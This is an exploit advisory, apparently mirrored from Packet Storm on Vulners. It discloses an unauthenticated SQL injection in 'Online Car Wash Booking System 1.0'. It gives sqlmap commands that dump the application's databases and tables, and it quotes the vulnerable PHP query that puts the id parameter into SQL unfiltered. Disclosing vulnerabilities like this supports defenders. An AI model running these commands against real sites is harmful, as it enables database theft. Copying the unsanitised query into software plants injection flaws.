Lucene search
K

Online Car Wash Booking System 1.0 Blind SQL Injection

🗓️ 14 Apr 2022 00:00:00Reported by segf0ltType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 308 Views

Online Car Wash Booking System 1.0 Unauthenticated SQL Injectio

Code
`# Exploit Title: Online Car Wash Booking System 1.0 - Unauthenticated blind SQL Injection  
# Exploit Author: segf0lt  
# Date: April 14, 2022  
# Vendor Homepage: https://www.sourcecodester.com/php/15274/online-car-wash-booking-system-phpoop-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/ocwbs_0.zip  
# Tested on: Ubuntu, Apache, Mysql  
# Version: v1.0  
# Exploit Description:  
# Online Car Wash Booking System 1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a union based SQL Injection attack.  
  
  
# Exploit   
* Exploit with Sqlmap  
  
sqlmap -u "http://localhost/ocwbs/services/price_list.php?id=3" --dbms=mysql -dbs  
  
sqlmap -u "http://localhost/ocwbs/services/price_list.php?id=3" --tables -D ocwbs_db  
  
# Vulnerable Code  
  
* No filter `id` when inserting data to database of price_list.php webpage  
  
if(isset($id)){  
$price_list = $conn->query("SELECT * FROM `price_list` where service_id = '{$id}'");  
$price_arr = array_column($price_list->fetch_all(MYSQLI_ASSOC),'price', 'vehicle_id');  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
308